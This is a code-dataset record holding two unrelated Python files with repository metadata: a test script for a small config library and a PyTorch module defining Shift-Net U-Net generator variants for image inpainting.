29fb8ad870f3fe89e7a256bbb9b56d942d9f6873
|
[
"MIT"
] | null | null | null |
tests/tests.py
|
Duroktar/trab
|
29fb8ad870f3fe89e7a256bbb9b56d942d9f6873
|
[
"MIT"
] | null | null | null |
from trabconfig import trabConfig
def test(cfg, config_format=None):
config = trabConfig(cfg, data=config_format)
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
assert config["Parent"] == "child"
assert config["Parent2"] == [
'child number one',
'child number two'
]
config.new('ip', 'localhost')
config.new('port', '54657')
config.new('key', 'ABC1234')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
IP = config.get('ip')
PORT = config.get('port')
KEY = config.get('key')
assert (IP, KEY, PORT) == ('localhost', 'ABC1234', '54657')
config.set('ip', 'newip')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'port': '54657'
}
config.new('new key', 'value')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'new key': 'value',
'port': '54657'
}
config.delete('new key')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'port': '54657'
}
config.set('ip', 'localhost')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
config.save()
config.auto_save = True
config.new("test1", "test")
config.new("test2", "test")
config.delete("test")
config.delete("test1")
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
print("Test passed!")
def test_from_yaml(config):
config = trabConfig.from_yaml(config)
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
assert config["Parent"] == "child"
assert config["Parent2"] == [
'child number one',
'child number two'
]
config.new('ip', 'localhost')
config.new('port', '54657')
config.new('key', 'ABC1234')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
IP = config.get('ip')
PORT = config.get('port')
KEY = config.get('key')
assert (IP, KEY, PORT) == ('localhost', 'ABC1234', '54657')
config.set('ip', 'newip')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'port': '54657'
}
config.new('new key', 'value')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'new key': 'value',
'port': '54657'
}
config.delete('new key')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'newip',
'port': '54657'
}
config.set('ip', 'localhost')
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
config.save()
assert config.keys() == ['key', 'test2', 'Parent2', 'Parent', 'ip', 'port']
config.auto_save = True
config.new("test1", "test")
config.new("test2", "test")
config.delete("test")
config.delete("test1")
assert config._config_data == {
'key': 'ABC1234',
'test2': 'test',
'Parent2': [
'child number one',
'child number two'
],
'Parent': 'child',
'ip': 'localhost',
'port': '54657'
}
print("Test passed!")
test('config.json', 'dict')
test('config.yml', 'yaml')
test_from_yaml('config.yml')
| 23.519149
| 79
| 0.463543
| 516
| 5,527
| 4.893411
| 0.079457
| 0.139406
| 0.114059
| 0.133069
| 0.904554
| 0.904554
| 0.904554
| 0.904554
| 0.904554
| 0.904554
| 0
| 0.056275
| 0.356975
| 5,527
| 234
| 80
| 23.619658
| 0.654192
| 0
| 0
| 0.881517
| 0
| 0
| 0.304686
| 0
| 0
| 0
| 0
| 0
| 0.099526
| 1
| 0.009479
| false
| 0.009479
| 0.004739
| 0
| 0.014218
| 0.009479
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
beb4223700863c90d95cbbf87d4abfea6acb0567
| 31,559
|
py
|
Python
|
models/modules/shift_unet.py
|
mauriliosalg/Seis_Shift-Net_pytorch
|
26f777d5e3be9d0828972202a61f0e01e2c04a1a
|
[
"MIT"
] | 350
|
2018-04-12T15:08:27.000Z
|
2022-03-15T09:55:16.000Z
|
models/modules/shift_unet.py
|
mauriliosalg/Seis_Shift-Net_pytorch
|
26f777d5e3be9d0828972202a61f0e01e2c04a1a
|
[
"MIT"
] | 87
|
2018-07-13T05:15:14.000Z
|
2022-02-07T06:20:43.000Z
|
models/modules/shift_unet.py
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mauriliosalg/Seis_Shift-Net_pytorch
|
26f777d5e3be9d0828972202a61f0e01e2c04a1a
|
[
"MIT"
] | 88
|
2018-04-23T13:41:15.000Z
|
2022-03-29T06:39:59.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
# For original shift
from models.shift_net.InnerShiftTriple import InnerShiftTriple
from models.shift_net.InnerCos import InnerCos
# for face shift
from models.face_shift_net.InnerFaceShiftTriple import InnerFaceShiftTriple
# For res shift
from models.res_shift_net.innerResShiftTriple import InnerResShiftTriple
# For patch patch shift
from models.patch_soft_shift.innerPatchSoftShiftTriple import InnerPatchSoftShiftTriple
# For res patch patch shift
from models.res_patch_soft_shift.innerResPatchSoftShiftTriple import InnerResPatchSoftShiftTriple
from .unet import UnetSkipConnectionBlock
from .modules import *
################################### *************************** #####################################
################################### Shift_net #####################################
################################### *************************** #####################################
# Defines the Unet generator.
# |num_downs|: number of downsamplings in UNet. For example,
# if |num_downs| == 7, image of size 128x128 will become of size 1x1
# at the bottleneck
class UnetGeneratorShiftTriple(nn.Module):
def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64,
norm_layer=nn.BatchNorm2d, use_spectral_norm=False):
super(UnetGeneratorShiftTriple, self).__init__()
# construct unet structure
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer,
innermost=True, use_spectral_norm=use_spectral_norm)
print(unet_block)
for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256.
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_shift_block = UnetSkipConnectionShiftBlock(ngf * 2, ngf * 4, opt, innerCos_list, shift_list,
mask_global, input_nc=None, \
submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm, layer_to_last=3) # passing in unet_shift_block
unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
self.model = unet_block
def forward(self, input):
return self.model(input)
# Mention: the TripleBlock differs in `upconv` defination.
# 'cos' means that we add a `innerCos` layer in the block.
class UnetSkipConnectionShiftBlock(nn.Module):
def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \
submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d,
use_spectral_norm=False, layer_to_last=3):
super(UnetSkipConnectionShiftBlock, self).__init__()
self.outermost = outermost
if input_nc is None:
input_nc = outer_nc
downconv = spectral_norm(nn.Conv2d(input_nc, inner_nc, kernel_size=4,
stride=2, padding=1), use_spectral_norm)
downrelu = nn.LeakyReLU(0.2, True)
downnorm = norm_layer(inner_nc)
uprelu = nn.ReLU(True)
upnorm = norm_layer(outer_nc)
device = 'cpu' if len(opt.gpu_ids) == 0 else 'gpu'
# As the downconv layer is outer_nc in and inner_nc out.
# So the shift define like this:
shift = InnerShiftTriple(opt.shift_sz, opt.stride, opt.mask_thred,
opt.triple_weight, layer_to_last=layer_to_last, device=device)
shift.set_mask(mask_global)
shift_list.append(shift)
# Add latent constraint
# Then add the constraint to the constrain layer list!
innerCos = InnerCos(strength=opt.strength, skip=opt.skip, layer_to_last=layer_to_last, device=device)
innerCos.set_mask(mask_global) # Here we need to set mask for innerCos layer too.
innerCos_list.append(innerCos)
# Different position only has differences in `upconv`
# for the outermost, the special is `tanh`
if outermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downconv]
up = [uprelu, upconv, nn.Tanh()]
model = down + [submodule] + up
# for the innermost, the special is `inner_nc` instead of `inner_nc*2`
elif innermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn
up = [uprelu, upconv, upnorm]
model = down + up
# else, the normal
else:
# shift triple differs in here. It is `*3` not `*2`.
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 3, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv, downnorm]
# shift should be placed after uprelu
# NB: innerCos is placed before shift. So need to add the latent gredient to
# to former part.
up = [uprelu, innerCos, shift, upconv, upnorm]
model = down + [submodule] + up
self.model = nn.Sequential(*model)
def forward(self, x):
if self.outermost: # if it is the outermost, directly pass the input in.
return self.model(x)
else:
x_latter = self.model(x)
_, _, h, w = x.size()
if h != x_latter.size(2) or w != x_latter.size(3):
x_latter = F.interpolate(x_latter, (h, w), mode='bilinear')
return torch.cat([x_latter, x], 1) # cat in the C channel
################################### *************************** #####################################
################################### Face Shift_net #####################################
################################### *************************** #####################################
class FaceUnetGenerator(nn.Module):
def __init__(self, input_nc, output_nc, innerCos_list, shift_list, mask_global, opt, ngf=64,
norm_layer=nn.BatchNorm2d, use_spectral_norm=False):
super(FaceUnetGenerator, self).__init__()
# Encoder layers
self.e1_c = spectral_norm(nn.Conv2d(input_nc, ngf, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e2_c = spectral_norm(nn.Conv2d(ngf, ngf*2, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e2_norm = norm_layer(ngf*2)
self.e3_c = spectral_norm(nn.Conv2d(ngf*2, ngf*4, kernel_size=6, stride=2, padding=2), use_spectral_norm)
self.e3_norm = norm_layer(ngf*4)
self.e4_c = spectral_norm(nn.Conv2d(ngf*4, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e4_norm = norm_layer(ngf*8)
self.e5_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e5_norm = norm_layer(ngf*8)
self.e6_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e6_norm = norm_layer(ngf*8)
self.e7_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.e7_norm = norm_layer(ngf*8)
self.e8_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
# Deocder layers
self.d1_dc = spectral_norm(nn.ConvTranspose2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d1_norm = norm_layer(ngf*8)
self.d2_dc = spectral_norm(nn.ConvTranspose2d(ngf*8*2 , ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d2_norm = norm_layer(ngf*8)
self.d3_dc = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d3_norm = norm_layer(ngf*8)
self.d4_dc = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d4_norm = norm_layer(ngf*8)
self.d5_dc = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*4, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d5_norm = norm_layer(ngf*4)
# shift before this layer
self.d6_dc = spectral_norm(nn.ConvTranspose2d(ngf*4*3, ngf*2, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d6_norm = norm_layer(ngf*2)
self.d7_dc = spectral_norm(nn.ConvTranspose2d(ngf*2*2, ngf, kernel_size=4, stride=2, padding=1), use_spectral_norm)
self.d7_norm = norm_layer(ngf)
self.d8_dc = spectral_norm(nn.ConvTranspose2d(ngf*2, output_nc, kernel_size=4, stride=2, padding=1), use_spectral_norm)
# construct shift and innerCos
device = 'cpu' if len(opt.gpu_ids) == 0 else 'gpu'
self.shift = InnerFaceShiftTriple(opt.shift_sz, opt.stride, opt.mask_thred,
opt.triple_weight, layer_to_last=3, device=device)
self.shift.set_mask(mask_global)
shift_list.append(self.shift)
self.innerCos = InnerCos(strength=opt.strength, skip=opt.skip, layer_to_last=3, device=device)
self.innerCos.set_mask(mask_global) # Here we need to set mask for innerCos layer too.
innerCos_list.append(self.innerCos)
# In this case, we have very flexible unet construction mode.
def forward(self, input, flip_feat=None):
# Encoder
# No norm on the first layer
e1 = self.e1_c(input)
e2 = self.e2_norm(self.e2_c(F.leaky_relu_(e1, negative_slope=0.2)))
e3 = self.e3_norm(self.e3_c(F.leaky_relu_(e2, negative_slope=0.2)))
e4 = self.e4_norm(self.e4_c(F.leaky_relu_(e3, negative_slope=0.2)))
e5 = self.e5_norm(self.e5_c(F.leaky_relu_(e4, negative_slope=0.2)))
e6 = self.e6_norm(self.e6_c(F.leaky_relu_(e5, negative_slope=0.2)))
e7 = self.e7_norm(self.e7_c(F.leaky_relu_(e6, negative_slope=0.2)))
# No norm in the inner_most layer
e8 = self.e8_c(F.leaky_relu_(e7, negative_slope=0.2))
# Decoder
d1 = self.d1_norm(self.d1_dc(F.relu_(e8)))
d2 = self.d2_norm(self.d2_dc(F.relu_(self.cat_feat(d1, e7))))
d3 = self.d3_norm(self.d3_dc(F.relu_(self.cat_feat(d2, e6))))
d4 = self.d4_norm(self.d4_dc(F.relu_(self.cat_feat(d3, e5))))
d5 = self.d5_norm(self.d5_dc(F.relu_(self.cat_feat(d4, e4))))
tmp, innerFeat = self.shift(self.innerCos(F.relu_(self.cat_feat(d5, e3))), flip_feat)
d6 = self.d6_norm(self.d6_dc(tmp))
d7 = self.d7_norm(self.d7_dc(F.relu_(self.cat_feat(d6, e2))))
# No norm on the last layer
d8 = self.d8_dc(F.relu_(self.cat_feat(d7, e1)))
d8 = torch.tanh(d8)
return d8, innerFeat
def cat_feat(self, de_feat, en_feat):
_, _, h1, w1 = de_feat.size()
_, _, h2, w2 = en_feat.size()
if h1 != h2 or w1 != w2:
de_feat = F.interpolate(de_feat, (h2, w2), mode='bilinear')
return torch.cat([de_feat, en_feat], 1)
################################### *************************** #####################################
################################### Res Shift_net #####################################
################################### *************************** #####################################
# Defines the Unet generator.
# |num_downs|: number of downsamplings in UNet. For example,
# if |num_downs| == 7, image of size 128x128 will become of size 1x1
# at the bottleneck
class ResUnetGeneratorShiftTriple(nn.Module):
def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64,
norm_layer=nn.BatchNorm2d, use_spectral_norm=False):
super(ResUnetGeneratorShiftTriple, self).__init__()
# construct unet structure
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer,
innermost=True, use_spectral_norm=use_spectral_norm)
print(unet_block)
for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256.
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_shift_block = ResUnetSkipConnectionBlock(ngf * 2, ngf * 4, opt, innerCos_list, shift_list,
mask_global, input_nc=None, \
submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm, layer_to_last=3) # passing in unet_shift_block
unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
self.model = unet_block
def forward(self, input):
return self.model(input)
# Mention: the TripleBlock differs in `upconv` defination.
# 'cos' means that we add a `innerCos` layer in the block.
class ResUnetSkipConnectionBlock(nn.Module):
def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \
submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d,
use_spectral_norm=False, layer_to_last=3):
super(ResUnetSkipConnectionBlock, self).__init__()
self.outermost = outermost
if input_nc is None:
input_nc = outer_nc
downconv = spectral_norm(nn.Conv2d(input_nc, inner_nc, kernel_size=4,
stride=2, padding=1), use_spectral_norm)
downrelu = nn.LeakyReLU(0.2, True)
downnorm = norm_layer(inner_nc)
uprelu = nn.ReLU(True)
upnorm = norm_layer(outer_nc)
device = 'cpu' if len(opt.gpu_ids) == 0 else 'gpu'
# As the downconv layer is outer_nc in and inner_nc out.
# So the shift define like this:
shift = InnerResShiftTriple(inner_nc, opt.shift_sz, opt.stride, opt.mask_thred,
opt.triple_weight, layer_to_last=layer_to_last, device=device)
shift.set_mask(mask_global)
shift_list.append(shift)
# Add latent constraint
# Then add the constraint to the constrain layer list!
innerCos = InnerCos(strength=opt.strength, skip=opt.skip, layer_to_last=layer_to_last, device=device)
innerCos.set_mask(mask_global) # Here we need to set mask for innerCos layer too.
innerCos_list.append(innerCos)
# Different position only has differences in `upconv`
# for the outermost, the special is `tanh`
if outermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downconv]
up = [uprelu, upconv, nn.Tanh()]
model = down + [submodule] + up
# for the innermost, the special is `inner_nc` instead of `inner_nc*2`
elif innermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn
up = [uprelu, upconv, upnorm]
model = down + up
# else, the normal
else:
# Res shift differs with other shift here. It is `*2` not `*3`.
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv, downnorm]
# shift should be placed after uprelu
# NB: innerCos are placed before shift. So need to add the latent gredient to
# to former part.
up = [uprelu, innerCos, shift, upconv, upnorm]
model = down + [submodule] + up
self.model = nn.Sequential(*model)
def forward(self, x):
if self.outermost: # if it is the outermost, directly pass the input in.
return self.model(x)
else:
x_latter = self.model(x)
_, _, h, w = x.size()
if h != x_latter.size(2) or w != x_latter.size(3):
x_latter = F.interpolate(x_latter, (h, w), mode='bilinear')
return torch.cat([x_latter, x], 1) # cat in the C channel
################################### *************************** #####################################
################################### patch soft shift_net #####################################
################################### *************************** #####################################
# Defines the Unet generator.
# |num_downs|: number of downsamplings in UNet. For example,
# if |num_downs| == 7, image of size 128x128 will become of size 1x1
# at the bottleneck
class PatchSoftUnetGeneratorShiftTriple(nn.Module):
def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64,
norm_layer=nn.BatchNorm2d, use_spectral_norm=False):
super(PatchSoftUnetGeneratorShiftTriple, self).__init__()
# construct unet structure
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer,
innermost=True, use_spectral_norm=use_spectral_norm)
print(unet_block)
for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256.
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_shift_block = PatchSoftUnetSkipConnectionShiftTriple(ngf * 2, ngf * 4, opt, innerCos_list, shift_list,
mask_global, input_nc=None, \
submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm, layer_to_last=3) # passing in unet_shift_block
unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
self.model = unet_block
def forward(self, input):
return self.model(input)
# Mention: the TripleBlock differs in `upconv` defination.
# 'cos' means that we add a `innerCos` layer in the block.
class PatchSoftUnetSkipConnectionShiftTriple(nn.Module):
def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \
submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d,
use_spectral_norm=False, layer_to_last=3):
super(PatchSoftUnetSkipConnectionShiftTriple, self).__init__()
self.outermost = outermost
if input_nc is None:
input_nc = outer_nc
downconv = spectral_norm(nn.Conv2d(input_nc, inner_nc, kernel_size=4,
stride=2, padding=1), use_spectral_norm)
downrelu = nn.LeakyReLU(0.2, True)
downnorm = norm_layer(inner_nc)
uprelu = nn.ReLU(True)
upnorm = norm_layer(outer_nc)
device = 'cpu' if len(opt.gpu_ids) == 0 else 'gpu'
# As the downconv layer is outer_nc in and inner_nc out.
# So the shift define like this:
shift = InnerPatchSoftShiftTriple(opt.shift_sz, opt.stride, opt.mask_thred,
opt.triple_weight, opt.fuse, layer_to_last=layer_to_last, device=device)
shift.set_mask(mask_global)
shift_list.append(shift)
# Add latent constraint
# Then add the constraint to the constrain layer list!
innerCos = InnerCos(strength=opt.strength, skip=opt.skip, layer_to_last=layer_to_last, device=device)
innerCos.set_mask(mask_global) # Here we need to set mask for innerCos layer too.
innerCos_list.append(innerCos)
# Different position only has differences in `upconv`
# for the outermost, the special is `tanh`
if outermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downconv]
up = [uprelu, upconv, nn.Tanh()]
model = down + [submodule] + up
# for the innermost, the special is `inner_nc` instead of `inner_nc*2`
elif innermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn
up = [uprelu, upconv, upnorm]
model = down + up
# else, the normal
else:
# shift triple differs in here. It is `*3` not `*2`.
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 3, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv, downnorm]
# shift should be placed after uprelu
# NB: innerCos are placed before shift. So need to add the latent gredient to
# to former part.
up = [uprelu, innerCos, shift, upconv, upnorm]
model = down + [submodule] + up
self.model = nn.Sequential(*model)
def forward(self, x):
if self.outermost: # if it is the outermost, directly pass the input in.
return self.model(x)
else:
x_latter = self.model(x)
_, _, h, w = x.size()
if h != x_latter.size(2) or w != x_latter.size(3):
x_latter = F.interpolate(x_latter, (h, w), mode='bilinear')
return torch.cat([x_latter, x], 1) # cat in the C channel
################################### *************************** #####################################
################################### Res patch soft shift_net #####################################
################################### *************************** #####################################
# Defines the Unet generator.
# |num_downs|: number of downsamplings in UNet. For example,
# if |num_downs| == 7, image of size 128x128 will become of size 1x1
# at the bottleneck
class ResPatchSoftUnetGeneratorShiftTriple(nn.Module):
def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64,
norm_layer=nn.BatchNorm2d, use_spectral_norm=False):
super(ResPatchSoftUnetGeneratorShiftTriple, self).__init__()
# construct unet structure
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer,
innermost=True, use_spectral_norm=use_spectral_norm)
print(unet_block)
for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256.
unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_shift_block = ResPatchSoftUnetSkipConnectionShiftTriple(ngf * 2, ngf * 4, opt, innerCos_list, shift_list,
mask_global, input_nc=None, \
submodule=unet_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm, layer_to_last=3) # passing in unet_shift_block
unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True,
norm_layer=norm_layer, use_spectral_norm=use_spectral_norm)
self.model = unet_block
def forward(self, input):
return self.model(input)
# Mention: the TripleBlock differs in `upconv` defination.
# 'cos' means that we add a `innerCos` layer in the block.
class ResPatchSoftUnetSkipConnectionShiftTriple(nn.Module):
def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \
submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d,
use_spectral_norm=False, layer_to_last=3):
super(ResPatchSoftUnetSkipConnectionShiftTriple, self).__init__()
self.outermost = outermost
if input_nc is None:
input_nc = outer_nc
downconv = spectral_norm(nn.Conv2d(input_nc, inner_nc, kernel_size=4,
stride=2, padding=1), use_spectral_norm)
downrelu = nn.LeakyReLU(0.2, True)
downnorm = norm_layer(inner_nc)
uprelu = nn.ReLU(True)
upnorm = norm_layer(outer_nc)
device = 'cpu' if len(opt.gpu_ids) == 0 else 'gpu'
# As the downconv layer is outer_nc in and inner_nc out.
# So the shift define like this:
shift = InnerResPatchSoftShiftTriple(inner_nc, opt.shift_sz, opt.stride, opt.mask_thred,
opt.triple_weight, opt.fuse, layer_to_last=layer_to_last, device=device)
shift.set_mask(mask_global)
shift_list.append(shift)
# Add latent constraint
# Then add the constraint to the constrain layer list!
innerCos = InnerCos(strength=opt.strength, skip=opt.skip, layer_to_last=layer_to_last, device=device)
innerCos.set_mask(mask_global) # Here we need to set mask for innerCos layer too.
innerCos_list.append(innerCos)
# Different position only has differences in `upconv`
# for the outermost, the special is `tanh`
if outermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downconv]
up = [uprelu, upconv, nn.Tanh()]
model = down + [submodule] + up
# for the innermost, the special is `inner_nc` instead of `inner_nc*2`
elif innermost:
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn
up = [uprelu, upconv, upnorm]
model = down + up
# else, the normal
else:
# Res shift differs with other shift here. It is `*2` not `*3`.
upconv = spectral_norm(nn.ConvTranspose2d(inner_nc * 2, outer_nc,
kernel_size=4, stride=2,
padding=1), use_spectral_norm)
down = [downrelu, downconv, downnorm]
# shift should be placed after uprelu
# NB: innerCos are placed before shift. So need to add the latent gredient to
# to former part.
up = [uprelu, innerCos, shift, upconv, upnorm]
model = down + [submodule] + up
self.model = nn.Sequential(*model)
def forward(self, x):
if self.outermost: # if it is the outermost, directly pass the input in.
return self.model(x)
else:
x_latter = self.model(x)
_, _, h, w = x.size()
if h != x_latter.size(2) or w != x_latter.size(3):
x_latter = F.interpolate(x_latter, (h, w), mode='bilinear')
return torch.cat([x_latter, x], 1) # cat in the C channel
| 54.039384
| 175
| 0.58389
| 3,848
| 31,559
| 4.552495
| 0.06315
| 0.082886
| 0.076207
| 0.030083
| 0.861286
| 0.853123
| 0.825608
| 0.817902
| 0.815789
| 0.811622
| 0
| 0.021717
| 0.289426
| 31,559
| 583
| 176
| 54.132075
| 0.759465
| 0.166387
| 0
| 0.73822
| 0
| 0
| 0.002788
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.049738
| false
| 0
| 0.028796
| 0.010471
| 0.138743
| 0.010471
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
